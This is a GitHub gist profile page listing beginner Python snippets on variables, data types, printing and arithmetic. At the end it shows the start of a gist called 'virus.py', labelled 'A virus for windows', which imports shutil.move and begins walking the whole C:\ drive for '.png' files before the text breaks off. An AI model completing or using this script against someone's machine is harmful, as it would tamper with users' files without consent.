Skip to content

Instantly share code, notes, and snippets.

View codewithpom's full-sized avatar
🎯
Building txtutils

Padmashree Jha codewithpom

🎯
Building txtutils
View GitHub Profile
name = input("What is your name")
# take input from the user and save it in the name variable as string
# print the name
print(name)
# create a string variable
name = "Padmashree"
# print string variable
print(name)
# create a float variable
float_number = 4.5
# print float variable
@codewithpom
codewithpom / bool_.py
Created July 13, 2021 11:44
Declare bool in python
i_am_programmer = True
# The above example creates a variable and assigns it as True
i_am_not_a_programmer = False
# The above example creates a variable and assigns it as False
# or you can do this
i_am_programmer = bool(1) # 1 or any number except 0
i_am_not_a_programmer = bool(0) # 0 is the only number which can assign False
name = "Chuck Norris"
# or use this
name = 'Chuck Norris'
# so the difference is of the type of qoutes
# have fun
number = 9.5
# or you can do this
number = float(9)
# the above line converts nine from int to float and then save it in the number variable
# or even this can be used
number = 9.0
# in the above line we have added a decimal point so it is converted into a float
number = 9
# or use this
number = int(9)
@codewithpom
codewithpom / datatype_variable.py
Created July 13, 2021 05:47
Get datatype of variable in Python.
# make integer variable
number = 89
print(type(number))
# <class 'int'>
# make float variable
decimal_number = 9.7
@codewithpom
codewithpom / calculations.py
Created July 13, 2021 05:37
Learn Calculations in python.
# Adding Division Started
# add integers
print(34 + 67)
# add float
print(34.5 + 67.5)
# add integer with float
print(3 + 4.5)
@codewithpom
codewithpom / print_.py
Created July 13, 2021 05:23
Tech Print Teach Print
# print string
print("Hello World")
# print int
print(3)
# print float
print(3.5)
# print boolean
@codewithpom
codewithpom / virus.py
Created May 22, 2021 11:58
A virus for windows A virus for windows
import os
from datetime import datetime
from shutil import move
file_paths = []
counter = 0
print("If you want all the excel file, for example write .xlsx")
inp = ".png"
thisdir = os.getcwd()
print(datetime.now().strftime(("%H:%M:%S")))
for r, d, f in os.walk("C:\\"):